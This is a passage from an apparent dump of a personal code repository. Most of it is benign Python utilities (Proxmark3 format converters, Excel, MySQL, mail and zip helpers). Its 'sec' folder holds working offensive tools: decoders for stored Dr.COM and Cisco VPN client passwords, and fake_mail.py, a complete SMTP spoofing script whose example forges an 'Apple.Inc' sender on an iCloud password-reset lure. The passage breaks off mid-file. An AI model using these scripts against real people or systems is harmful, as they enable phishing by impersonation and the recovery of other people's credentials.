print("╔═════════╦═════╦══════════════════════════════════╦═══════════════╗") 129 | print("║ Sector ║Block║ Data ║ Access Bits ║") 130 | for q in range(0, len(blocksmatrix)): 131 | print("╠═════════╬═════╬══════════════════════════════════╬═══════════════╣") 132 | 133 | # z is the block in each sector 134 | for z in range(0, len(blocksmatrix[q])): 135 | # Format the access bits. Print ERR in case of an error 136 | accbits = "" 137 | if isinstance(blockrights[q][z], BitArray): 138 | accbits = bashcolors.GREEN + blockrights[q][z].bin + bashcolors.ENDC 139 | else: 140 | accbits = bashcolors.WARNING + "ERR" + bashcolors.ENDC 141 | 142 | # Add Padding after the sector number 143 | padLen = max(1, 5 - len(str(q))) 144 | padding = " " * padLen 145 | # Only print the sector number in the second third row 146 | if (z == 2): 147 | print("║ %d%s║ %d ║ %s ║ %s ║" %(q,padding,z,blocksmatrix[q][z], accbits)) 148 | else: 149 | print("║ ║ %d ║ %s ║ %s ║" %(z,blocksmatrix[q][z], accbits)) 150 | print("╚═════════╩═════╩══════════════════════════════════╩═══════════════╝") 151 | 152 | 153 | def main(filename): 154 | with open(filename, "rb") as f: 155 | data = f.read() 156 | print_info(data) 157 | 158 | if __name__ == "__main__": 159 | main(sys.argv[1]) 160 | -------------------------------------------------------------------------------- /nfc/pm3_bin2eml.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, print_function 2 | 3 | import argparse 4 | 5 | import binascii 6 | 7 | READ_BLOCKSIZE = 16 8 | 9 | 10 | def main(): 11 | parser = argparse.ArgumentParser( 12 | description="Converts a Proxmark3 bin file to the eml format." 13 | ) 14 | parser.add_argument("input", type=argparse.FileType("rb")) 15 | parser.add_argument("output", type=argparse.FileType("w")) 16 | args = parser.parse_args() 17 | 18 | while True: 19 | input_bytes = args.input.read(READ_BLOCKSIZE) 20 | if not input_bytes: 21 | break 22 | args.output.write(binascii.hexlify(input_bytes)) 23 | args.output.write("\n") 24 | 25 | 26 | if __name__ == '__main__': 27 | main() 28 | -------------------------------------------------------------------------------- /nfc/pm3_eml2bin.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, print_function 2 | 3 | import argparse 4 | 5 | import binascii 6 | 7 | 8 | def main(): 9 | parser = argparse.ArgumentParser( 10 | description="Converts a Proxmark3 eml file to the bin format." 11 | ) 12 | parser.add_argument("input", type=argparse.FileType("r")) 13 | parser.add_argument("output", type=argparse.FileType("wb")) 14 | args = parser.parse_args() 15 | 16 | for line in args.input: 17 | line = line.rstrip("\n").rstrip("\r") 18 | print(line) 19 | args.output.write(binascii.unhexlify(line)) 20 | 21 | 22 | if __name__ == '__main__': 23 | main() 24 | -------------------------------------------------------------------------------- /python_base/README.md: -------------------------------------------------------------------------------- 1 | # python 练习册的一些代码 2 | 3 | python_base 4 | 5 | * [get_word_frequencies.py](get_word_frequencies.py): 统计单词数 6 | * [python_excel.py](python_excel.py): python 操作excel 7 | * [python_mongodb_mysql.py](python_mongodb_mysql.py): python 操作mongodb and mysql 8 | * [py_xml.py](py_xml.py): python 操作 xml 9 | * [sendmail.py](sendmail.py): python 发送邮件 10 | -------------------------------------------------------------------------------- /python_base/get_word_frequencies.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2015-03-11 14:08:36 4 | # @Author : Linsir (vi5i0n@hotmail.com) 5 | # @Link : http://Linsir.sinaapp.com 6 | ''' 7 | 统计单词数 8 | ''' 9 | import re 10 | 11 | def get_word_frequencies(file_name): 12 | dic = {} 13 | txt = open(file_name, 'r').read().splitlines() 14 | # print txt 15 | for line in txt: 16 | line = re.sub(r'[^\u4e00-\u94a5\w\d\-]', ' ', line) 17 | line = re.sub(r"[^a-zA-Z'-]|\\s+|\t|\r", ' ', line) 18 | line = re.sub(r"-{2,}", ' ', line) 19 | line = re.sub(r"'{2,}", ' ', line) 20 | for word in line.split(): 21 | dic.setdefault(word.lower(), 0) 22 | dic[word.lower()] += 1 23 | li= sorted(dic.iteritems(), key=lambda d:d[1], reverse = True) 24 | print dic 25 | for i in li: 26 | print i 27 | 28 | if __name__ == '__main__': 29 | get_word_frequencies('test.txt') 30 | -------------------------------------------------------------------------------- /python_base/py_xml.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2015-05-15 20:50:52 4 | # @Author : Linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | ''' 7 | Python read xml file 8 | ''' 9 | try: 10 | import xml.etree.cElementTree as ET 11 | except ImportError: 12 | import xml.etree.ElementTree as ET 13 | 14 | tree = ET.ElementTree(file='sitemap.xml') 15 | root = tree.getroot() 16 | 17 | for child in root: 18 | # print child.tag,child.attrib 19 | for item in child: 20 | print item.tag,item.text 21 | -------------------------------------------------------------------------------- /python_base/python_excel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2015-05-15 19:27:50 4 | # @Author : Linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | # import xml.etree.ElementTree as ET 7 | import xlsxwriter 8 | 9 | # Create a workbook and add a worksheet. 10 | workbook = xlsxwriter.Workbook('test.xlsx') 11 | worksheet = workbook.add_worksheet() 12 | 13 | import json 14 | 15 | f = file("test.json"); 16 | s = json.load(f) 17 | row = 0 18 | col = 0 19 | for (d,x) in s.items(): 20 | worksheet.write(row, col, int(d)) 21 | print d 22 | col = col + 1 23 | for data in x: 24 | print data 25 | worksheet.write(row, col, data) 26 | col += 1 27 | # Write a total using a formula. 28 | worksheet.write(row, col, '=SUM(C%d:E%d)'%(row + 1,row + 1) ) 29 | 30 | col = 0 31 | row += 1 32 | 33 | workbook.close() 34 | 35 | -------------------------------------------------------------------------------- /python_base/python_mongodb_mysql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2015-01-07 09:31:57 4 | # @Author : Linsir (vi5i0n@hotmail.com) 5 | # @Link : http://Linsir.sinaapp.com 6 | 7 | 8 | #生成随机密码存入Mongodb, MySQL 9 | import time 10 | from datetime import datetime, timedelta 11 | import random 12 | import string 13 | 14 | def activation_code(id,length=10): 15 | ''' 16 | id + L + 随机码 17 | ''' 18 | pre = hex(id)[2:] + 'L' 19 | length = length - len(pre) 20 | chars=string.ascii_letters+string.digits 21 | return pre + ''.join([random.choice(chars) for i in range(length)]) 22 | 23 | def get_id(code): 24 | return str(int(code.upper(), 16)) 25 | 26 | def save_mongodb(): 27 | from pymongo import Connection 28 | conn = Connection('127.0.0.1',27017) 29 | db = conn.codes #连接test中的codes集合,相当于MySQL中的表 30 | db.codes.drop() 31 | for i in range(10,400,35): 32 | code = activation_code(i) 33 | deadtime = time.time() + timedelta(hours=+12).seconds 34 | db.codes.insert({ 35 | "id": i, 36 | "code": code, 37 | "deadtime": deadtime, 38 | } 39 | ) 40 | # 插入结果 41 | content = db.codes.find() 42 | for i in content: 43 | print i 44 | 45 | def save_mysql(): 46 | import MySQLdb 47 | conn=MySQLdb.connect(host='localhost',user='root',passwd='',db='test',port=3306) 48 | cur = conn.cursor() 49 | 50 | create_table = '''create table codes( 51 | id int not null auto_increment, 52 | codes varchar(50) not null, 53 | deadtime varchar(50) not null, 54 | primary key (id) 55 | );''' 56 | cur.execute('drop table if exists codes;') 57 | cur.execute(create_table) 58 | for i in range(5): 59 | deadtime = time.time() + timedelta(hours=+12).seconds 60 | sql = '''insert into codes(codes, deadtime) values("Newcodes",%s)''' %deadtime 61 | cur.execute(sql) 62 | id = conn.insert_id() 63 | code = activation_code(id) 64 | update_sql = '''update codes set codes = "%s" where id = %s''' %(code, id) 65 | cur.execute(update_sql) 66 | 67 | cur.execute("select * from codes;") 68 | content = cur.fetchall() 69 | for i in content: 70 | print i 71 | cur.close() 72 | conn.commit() 73 | conn.close() 74 | 75 | #格式化时间,默认输入当前时间 76 | def fmt_time(seconds=None, fmt='%Y-%m-%d %H:%M:%S'): 77 | if not seconds: seconds = time.time() 78 | t = datetime.utcfromtimestamp(seconds) 79 | t = t + timedelta(hours=+8) # 时区 80 | return t.strftime(fmt) 81 | 82 | if __name__=="__main__": 83 | # save_mongodb() 84 | save_mysql() -------------------------------------------------------------------------------- /python_base/sendmail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | Send mail via SMTP by Python. 6 | ''' 7 | import smtplib 8 | from email.mime.text import MIMEText 9 | from email.header import Header 10 | 11 | sender = 'sender@163.com' 12 | receiver = 'rece@qq.com' 13 | subject = 'python email test' 14 | smtpserver = 'smtp.163.com' 15 | username = 'username' 16 | password = 'password' 17 | 18 | msg = MIMEText('你好','plain','utf-8')#中文需参数‘utf-8’,单字节字符不需要 19 | msg['Subject'] = Header(subject, 'utf-8') 20 | 21 | smtp = smtplib.SMTP() 22 | smtp.connect('smtp.163.com') 23 | # if use https 24 | # smtp.starttls() 25 | smtp.login(username, password) 26 | smtp.sendmail(sender, receiver, msg.as_string()) 27 | smtp.quit() 28 | -------------------------------------------------------------------------------- /pyzip/README.md: -------------------------------------------------------------------------------- 1 | # pyzip 2 | 3 | **说明:** 4 | 5 | 解决解压zip中文件名乱码 6 | 7 | **安装:** 8 | 9 | sudo cp pyzip.py /usr/bin/pyzip && sudo chmod +x /usr/bin/pyzip 10 | 11 | **用法:** 12 | 13 | pyzip filename -------------------------------------------------------------------------------- /pyzip/pyzip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | ''' 4 | 说明:解决解压zip中文件名乱码 5 | 安装:sudo cp pyzip.py /usr/bin/pyzip && sudo chmod +x /usr/bin/pyzip 6 | 用法:pyzip filename 7 | ''' 8 | import os 9 | import sys 10 | import zipfile 11 | 12 | def unzip(list): 13 | 14 | for filename in list: 15 | print "Processing File: %s" %filename 16 | file = zipfile.ZipFile(filename,"r"); 17 | file_list = file.namelist() 18 | if file_list[0].endswith('/') and (file_list[0] == file_list[-1]): 19 | pre_folder = '' 20 | else: 21 | pre_folder = filename.strip('.zip') + '/' 22 | 23 | for name in file_list: 24 | utf8name = pre_folder + name.decode('gbk') 25 | print "Extracting %s" %utf8name 26 | pathname = os.path.dirname(utf8name) 27 | if not os.path.exists(pathname) and pathname!= "": 28 | os.makedirs(pathname) 29 | data = file.read(name) 30 | if not os.path.exists(utf8name): 31 | fo = open(utf8name, "w") 32 | fo.write(data) 33 | fo.close 34 | file.close() 35 | print 'Extract Sucess!' 36 | if __name__ == '__main__': 37 | if len(sys.argv) < 2: 38 | print "Usage:"+" pyzip.py "+"file_list or single zipfile." 39 | sys.exit() 40 | unzip(list = sys.argv[1:]) -------------------------------------------------------------------------------- /sec/Crack_drcom_passwd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2015-10-28 10:55:46 4 | # @Author : linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | # drcom早期版本密码解密脚本 7 | 8 | def encode(string): 9 | diff=[28,57,86,19,47,76,9,38,66,95,28,57,86,18,47,76] 10 | passwd = [ord(i) for i in string] 11 | print passwd 12 | diff=diff[0:len(passwd)] 13 | 14 | f = [x + y for x, y in zip(passwd, diff)] 15 | result = [i - 95 if i>= 126 else i for i in f] 16 | result = [chr(i) for i in result] 17 | result.append('a') 18 | return "".join(result) 19 | 20 | def decode(passwd): 21 | diff=[28,57,86,19,47,76,9,38,66,95,28,57,86,18,47,76] 22 | passwd = [ord(i) for i in passwd[:-1]] 23 | diff=diff[0:len(passwd)] 24 | 25 | f = [x - y for x, y in zip(passwd, diff)] 26 | result = [i + 95 if i<= 32 else i for i in f] 27 | result = [chr(i) for i in result] 28 | return "".join(result) 29 | 30 | 31 | if __name__ == '__main__': 32 | print encode("123456") 33 | # pwd = 'Tq/Kg%a' 34 | # # pwd = 'Ml,Hg"?Ya' 35 | # print decode(pwd) 36 | -------------------------------------------------------------------------------- /sec/README.md: -------------------------------------------------------------------------------- 1 | # 安全相关的一些脚本 2 | 3 | 4 | * [Crack_drcom_passwd.py](Crack_drcom_passwd.py): Drcom 密码解密 5 | * [des_encrypt.py](des_encrypt.py):des_encrypt python 实现 6 | * [fake_mail.py](fake_mail.py): 伪造邮件 7 | * [hh3c_cipher.py](hh3c_cipher.py):华为早期路由交换设备密码解密 8 | * [cisco-decrypt.c](cisco-decrypt.c): cisco-vpn解密脚本 9 | * [hash_id.py](hash_id.py): Hash Identifier. 10 | -------------------------------------------------------------------------------- /sec/cisco-decrypt.c: -------------------------------------------------------------------------------- 1 | /* Decoder for password encoding of Cisco VPN client. 2 | Copyright (C) 2005 Maurice Massar 3 | Thanks to HAL-9000@evilscientists.de for decoding and posting the algorithm! 4 | 5 | This program is free software; you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation; either version 2 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program; if not, write to the Free Software 17 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | */ 19 | 20 | /* 21 | Requires libgcrypt version 1.1.90 or newer 22 | Compile with: 23 | gcc -Wall -o cisco-decrypt cisco-decrypt.c $(libgcrypt-config --libs --cflags) 24 | Usage: 25 | ./cisco-decrypt DEADBEEF...012345678 424242...7261 26 | */ 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | int hex2bin_c(unsigned int c) 34 | { 35 | if ((c >= '0')&&(c <= '9')) 36 | return c - '0'; 37 | if ((c >= 'A')&&(c <= 'F')) 38 | return c - 'A' + 10; 39 | if ((c >= 'a')&&(c <= 'f')) 40 | return c - 'a' + 10; 41 | return -1; 42 | } 43 | 44 | int hex2bin(const char *str, char **bin, int *len) 45 | { 46 | char *p; 47 | int i, l; 48 | 49 | if (!bin) 50 | return EINVAL; 51 | 52 | for (i = 0; str[i] != '\0'; i++) 53 | if (hex2bin_c(str[i]) == -1) 54 | return EINVAL; 55 | 56 | l = i; 57 | if ((l & 1) != 0) 58 | return EINVAL; 59 | l /= 2; 60 | 61 | p = malloc(l); 62 | if (p == NULL) 63 | return ENOMEM; 64 | 65 | for (i = 0; i < l; i++) 66 | p[i] = hex2bin_c(str[i*2]) << 4 | hex2bin_c(str[i*2+1]); 67 | 68 | *bin = p; 69 | if (len) 70 | *len = l; 71 | 72 | return 0; 73 | } 74 | 75 | int c_decrypt(char *ct, int len, char **resp, char *reslenp) 76 | { 77 | const char *h1 = ct; 78 | const char *h4 = ct + 20; 79 | const char *enc = ct + 40; 80 | 81 | char ht[20], h2[20], h3[20], key[24]; 82 | const char *iv = h1; 83 | char *res; 84 | gcry_cipher_hd_t ctx; 85 | int reslen; 86 | 87 | if (len < 48) 88 | return 0; 89 | len -= 40; 90 | 91 | memcpy(ht, h1, 20); 92 | 93 | ht[19]++; 94 | gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, 20); 95 | 96 | ht[19] += 2; 97 | gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, 20); 98 | 99 | memcpy(key, h2, 20); 100 | memcpy(key+20, h3, 4); 101 | /* who cares about parity anyway? */ 102 | 103 | gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len); 104 | 105 | if (memcmp(h4, ht, 20) != 0) 106 | return -1; 107 | 108 | res = malloc(len); 109 | if (res == NULL) 110 | return -1; 111 | 112 | gcry_cipher_open(&ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, 0); 113 | gcry_cipher_setkey(ctx, key, 24); 114 | gcry_cipher_setiv(ctx, iv, 8); 115 | gcry_cipher_decrypt(ctx, (unsigned char *)res, len, (unsigned char *)enc, len); 116 | gcry_cipher_close(ctx); 117 | 118 | reslen = len - res[len-1]; 119 | res[reslen] = '\0'; 120 | 121 | if (resp) 122 | *resp = res; 123 | if (reslenp) 124 | *reslenp = reslen; 125 | return 0; 126 | } 127 | 128 | int main(int argc, char *argv[]) 129 | { 130 | int i, len, ret = 0; 131 | char *bin, *pw; 132 | 133 | gcry_check_version(NULL); 134 | 135 | for (i = 1; i < argc; i++) { 136 | ret = hex2bin(argv[i], &bin, &len); 137 | if (ret != 0) { 138 | perror("decoding input"); 139 | continue; 140 | } 141 | ret = c_decrypt(bin, len, &pw, NULL); 142 | free(bin); 143 | if (ret != 0) { 144 | perror("decrypting input"); 145 | continue; 146 | } 147 | printf("%s\n", pw); 148 | free(pw); 149 | } 150 | 151 | exit(ret != 0); 152 | } 153 | -------------------------------------------------------------------------------- /sec/des_encrypt.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | .::FileLocker DES加密解密工具::. 4 | 5 | We enjoy hacking of life in day and night. 6 | 7 | _______________________________________________ 8 | 9 | [+] Author: Windows2000 10 | [+] Team: FF0000 TEAM 11 | [+] From: HackerSoul 12 | [+] Create: 2014-09-09 13 | _______________________________________________ 14 | 15 | 16 | -= Main =- 17 | 18 | Code Source: 19 | [1] https://github.com/ff0000team/HackerSoul/blob/master/tools/filelocker.py 20 | [2] http://www.hackersoul.com/tools/filelocker.py 21 | 22 | About DES: 23 | [1] http://www.baike.com/wiki/DES%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95 24 | 25 | ------------================------------ 26 | 27 | 28 | Usage: python filelocker.py -e/-d INPUT_FILE OUTPUT_FILE 29 | 30 | e.g. : python filelocker.py -e c:\1.txt d:\2.txt 31 | python filelocker.py -d /tmp/1.xxx /home/2.yyy 32 | 33 | Options: 34 | -h, --help show this help message and exit 35 | -e, --encrypt to do encryption. 36 | -d, --decrypt to do decryption. 37 | -c, --clean_original clean the original input file after encryption. 38 | 39 | ''' 40 | 41 | 42 | #!/usr/bin/env python 43 | # coding=utf-8 44 | # windows2000@ff0000team 45 | 46 | import os 47 | import time 48 | import struct 49 | import getpass 50 | import optparse 51 | import platform 52 | 53 | try: 54 | from Crypto.Cipher import DES 55 | except Exception: 56 | print 'The module PyCrypto is needed.' 57 | print 'You may install it by running "pip install pycrypto', 58 | print 'or "easy_install pycrypto" under command line.' 59 | exit(1) 60 | 61 | 62 | class FileLocker(object): 63 | block_size = 8 64 | 65 | def __init__(self): 66 | self._init_cmd_paser() 67 | self._input_password() 68 | self.cipher = DES.new(self.password, DES.MODE_ECB) 69 | 70 | def _init_cmd_paser(self): 71 | usage = "python filelocker.py -e/-d INPUT_FILE OUTPUT_FILE\n\n"\ 72 | "e.g. : python filelocker.py -e c:\\1.txt d:\\2.txt\n"\ 73 | " python filelocker.py -d /tmp/1.xxx /home/2.yyy" 74 | parser = optparse.OptionParser(usage=usage) 75 | parser.add_option('-e', '--encrypt', 76 | action='store_true', dest='is_encrypt', 77 | help='to do encryption.') 78 | parser.add_option('-d', '--decrypt', 79 | action='store_false', dest='is_encrypt', 80 | help='to do decryption.') 81 | parser.add_option('-c', '--clean_original', 82 | action='store_true', dest='clean_original', default=False, 83 | help='clean the original input file after encryption.') 84 | (self.options, self.args) = parser.parse_args() 85 | try: 86 | self.in_file_path = self.args[0] 87 | self.out_file_path = self.args[1] if len(self.args) > 1 else u'' 88 | except Exception, err: 89 | parser.print_help() 90 | exit(1) 91 | 92 | if not os.path.exists(self.in_file_path): 93 | print 'Error: input file not exists!' 94 | exit(1) 95 | self.__paths_to_unicode() 96 | 97 | def __paths_to_unicode(self): 98 | system = platform.system().lower() 99 | encoding = 'gbk' if system == 'windows' else 'utf8' 100 | if self.in_file_path: 101 | self.in_file_path = self.in_file_path.decode(encoding, 'ignore') 102 | if self.out_file_path: 103 | self.out_file_path = self.out_file_path.decode(encoding, 'ignore') 104 | 105 | def _input_password(self): 106 | if self.options.is_encrypt: 107 | self.password = getpass.getpass('Please input you password for Encryption: ') 108 | password_again = getpass.getpass('Please confirm you password: ') 109 | if self.password != password_again: 110 | print 'Error: the two passwords input are not the same!' 111 | exit(1) 112 | if len(self.password) < self.block_size: 113 | print 'Error: password too short!' 114 | exit(1) 115 | else: 116 | self.password = getpass.getpass('Please input you password for Decryption: ') 117 | if len(self.password) < self.block_size: 118 | print 'Error: password incorrect!' 119 | exit(1) 120 | 121 | self.password = self.password[:self.block_size] 122 | 123 | def encrypt_file(self): 124 | fi = open(self.in_file_path, mode='rb') 125 | fo = open(self.out_file_path, mode='wb') 126 | fsize = os.path.getsize(self.in_file_path) 127 | fo.write(self.cipher.encrypt(struct.pack('Q', fsize))) 128 | for i in xrange(fsize / self.block_size): 129 | block = fi.read(self.block_size) 130 | fo.write(self.cipher.encrypt(block)) 131 | extra_size = fsize % self.block_size 132 | if extra_size: 133 | block = fi.read(self.block_size) + ' ' * (self.block_size - extra_size) 134 | fo.write(self.cipher.encrypt(block)) 135 | fi.close() 136 | fo.close() 137 | if self.options.clean_original: 138 | os.remove(self.in_file_path) 139 | 140 | def decrypt_file(self): 141 | fi = open(self.in_file_path, mode='rb') 142 | fo = open(self.out_file_path, mode='wb') 143 | origin_fsize = struct.unpack('Q', self.cipher.decrypt( 144 | fi.read(struct.calcsize('Q'))))[0] 145 | cur_fsize = os.path.getsize(self.in_file_path) - struct.calcsize('Q') 146 | last_block_size = self.block_size - (cur_fsize - origin_fsize) 147 | for i in xrange((cur_fsize / self.block_size) - 1): 148 | block = fi.read(self.block_size) 149 | fo.write(self.cipher.decrypt(block)) 150 | fo.write(self.cipher.decrypt(fi.read(self.block_size))[:last_block_size]) 151 | fi.close() 152 | fo.close() 153 | 154 | def run(self): 155 | start_time = time.time() 156 | if self.options.is_encrypt: 157 | print 'encrypting...' 158 | self.encrypt_file() 159 | print 'encrypted file has generated at %s,'\ 160 | % os.path.abspath(self.out_file_path), 161 | else: 162 | print 'decrypting...' 163 | self.decrypt_file() 164 | print 'decrypted file has generated at %s,'\ 165 | % os.path.abspath(self.out_file_path), 166 | print '%fs costed.' % (time.time() - start_time) 167 | 168 | 169 | if __name__ == '__main__': 170 | fl = FileLocker() 171 | fl.run() 172 | -------------------------------------------------------------------------------- /sec/fake_mail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | ''' 4 | fake mail by python 5 | ''' 6 | import socket 7 | import select 8 | import base64 9 | import os,re 10 | import time,datetime 11 | class mail: 12 | def __init__(self): 13 | self.errmsg = '' 14 | 15 | def send(self, buf): 16 | try: 17 | byteswritten = 0 18 | while byteswritten < len(buf): 19 | byteswritten += self.__sockfd.send(buf[byteswritten:]) 20 | except: 21 | pass 22 | 23 | def recvline(self, strline): 24 | detect_fds = [self.__sockfd,] 25 | rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20) 26 | if len(rrdy) == 0: 27 | return False 28 | else: 29 | while True: 30 | try: 31 | strtmp = self.__sockfd.recv(1) 32 | strline[0] += strtmp[0] 33 | if(strtmp[0] == '\n'): 34 | print 'server : '+strline[0] 35 | break 36 | except: 37 | return False 38 | return True 39 | 40 | def getresp(self, resp_str): 41 | while True: 42 | if(self.recvline(resp_str) == False): 43 | return False 44 | else: 45 | if resp_str[0][3] != '-': 46 | break; 47 | return True 48 | 49 | def mailhelo(self, hostname): 50 | self.send('helo %s\r\n'%hostname) 51 | print 'host say: helo %s'%hostname 52 | resp_str = ['',] 53 | if(self.getresp(resp_str) == False): 54 | return False 55 | if resp_str[0][0:3] == '250': 56 | return True 57 | else: 58 | self.errmsg = resp_str[0] 59 | return False 60 | 61 | def mailfrom(self, fromstr): 62 | self.send('mail from: <%s>\r\n'%fromstr) 63 | print 'host say: mail from: <%s>'%fromstr 64 | resp_str = ['',] 65 | if(self.getresp(resp_str) == False): 66 | return False 67 | if resp_str[0][0:3] == '250': 68 | return True 69 | else: 70 | self.errmsg = resp_str[0] 71 | return False 72 | 73 | def mailto(self, tostr): 74 | self.send('rcpt to: <%s>\r\n'%tostr) 75 | print 'host say: rcpt to: <%s>'%tostr 76 | resp_str = ['',] 77 | if(self.getresp(resp_str) == False): 78 | return False 79 | if resp_str[0][0:3] == '250': 80 | return True 81 | else: 82 | self.errmsg = resp_str[0] 83 | return False 84 | 85 | def maildata(self): 86 | self.send('data\r\n') 87 | print 'host say: data' 88 | resp_str = ['',] 89 | if(self.getresp(resp_str) == False): 90 | return False 91 | if resp_str[0][0:3] == '354': 92 | return True 93 | else: 94 | self.errmsg = resp_str[0] 95 | return False 96 | 97 | def mailbody(self, bodystr): 98 | print 'host say: '+'Received: from ICE (unknown [183.60.62.11])\r\n' 99 | print'host say: '+'.by 183.60.62.11 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n' 100 | print'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n' 101 | print'host say: '+'X-Originating-IP: [192.168.0.1]\r\n' 102 | print'host say: '+'Date: Tue, 22 Nov 2011 16:18:06 +0800\r\n' 103 | print'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n' 104 | print'host say: '+'Subject:'+self.Subject+'?=\r\n' 105 | print'host say: '+'To: <'+self.To+'>\r\n' 106 | print'host say: '+'X-Priority: 1\r\n' 107 | print'host say: '+'X-mailer: iceMail 1.0 [cn]\r\n' 108 | print'host say: '+'Mime-Version: 1.0\r\n' 109 | print'host say: '+'Content-Type: text/plain;\r\n' 110 | print'host say: '+'.charset="GB2312"\r\n' 111 | print'host say: '+'Content-Transfer-Encoding: quoted-printable\r\n\r\n' 112 | print 'host say: '+bodystr 113 | 114 | self.send('Received: from ICE (unknown [8.8.8.8])\r\n') 115 | self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n') 116 | self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n') 117 | self.send('X-Originating-IP: [8.8.8.8]\r\n') 118 | self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'\r\n') 119 | self.send('From: '+self.FromName+ '<'+self.From+'>\r\n') 120 | self.send('Subject: '+self.Subject+'\r\n') 121 | self.send('To: <'+self.To+'>\r\n') 122 | self.send('X-Priority: 1\r\n') 123 | self.send('X-mailer: iceMail 1.0 [cn]\r\n') 124 | self.send('Mime-Version: 1.0\r\n') 125 | self.send('Content-Type: text/plain;\r\n') 126 | self.send('.charset="GB2312"\r\n') 127 | self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n') 128 | self.send(bodystr) 129 | self.send('\r\n.\r\n') 130 | resp_str = ['',] 131 | if(self.getresp(resp_str) == False): 132 | return False 133 | if resp_str[0][0:3] == '250': 134 | return True 135 | else: 136 | self.errmsg = resp_str[0] 137 | return False 138 | 139 | def mailquit(self): 140 | self.send('quit\r\n') 141 | print 'host say: quit' 142 | resp_str = ['',] 143 | if(self.getresp(resp_str) == False): 144 | return False 145 | if resp_str[0][0:3] == '221': 146 | print 'server : Bye' 147 | print 'mail send ok' 148 | return True 149 | else: 150 | self.errmsg = resp_str[0] 151 | return False 152 | 153 | def txmail(self, hostname, mailfrom, rcptto, bodystr): 154 | mx_server_list = [] 155 | mail_postfix = re.split('@',rcptto) 156 | #print mail_postfix 157 | try: 158 | outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read() 159 | except Exception, e: 160 | print 'DEBUG: Execute nslookup:',e 161 | return False 162 | 163 | linestr = re.split('\n', outstr) 164 | for s in linestr: 165 | if re.match('.+[ |\t]mail exchanger[ |\t].+', s) != None: 166 | c = re.split(' |\t', s) 167 | mx_server_list.append(c[len(c) - 1]) 168 | if len(mx_server_list) == 0: 169 | self.errmsg = 'Can not find MX server' 170 | return False 171 | 172 | for mx_element in mx_server_list: 173 | return_val = True 174 | mx_server_ip = socket.gethostbyname(mx_element) 175 | tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) 176 | try: 177 | tx_sockfd.connect((mx_server_ip, 25)) 178 | self.__sockfd = tx_sockfd 179 | resp_str = ['',] 180 | self.getresp(resp_str) 181 | if self.mailhelo(hostname) and self.mailfrom(mailfrom) \ 182 | and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit(): 183 | pass 184 | else: 185 | return_val = False 186 | except Exception, e: 187 | return_val = False 188 | try: 189 | tx_sockfd.close() 190 | except: 191 | pass 192 | 193 | if return_val == True: 194 | break 195 | 196 | return return_val 197 | def sendMail(self): 198 | self.StmpHost=self.From.split("@")[1] 199 | self.txmail(self.StmpHost, self.From, self.To, self.Data) 200 | 201 | if __name__ == '__main__': 202 | icemail=mail() 203 | icemail.Port=25 204 | icemail.To= 'linsir@163.com' 205 | icemail.From='news@linsir.com' 206 | icemail.FromName="Apple.Inc " 207 | icemail.Subject="iCould重设密码" 208 | icemail.Data='来吧,改密码吧' 209 | icemail.sendMail() -------------------------------------------------------------------------------- /sec/hash_id.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # Hash Identifier v1.1 4 | # By Zion3R 5 | # www.Blackploit.com 6 | # Root@Blackploit.com 7 | 8 | logo=''' ######################################################################### 9 | # __ __ __ ______ _____ # 10 | # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # 11 | # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # 12 | # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # 13 | # \ \ \ \ \/\ \_\ 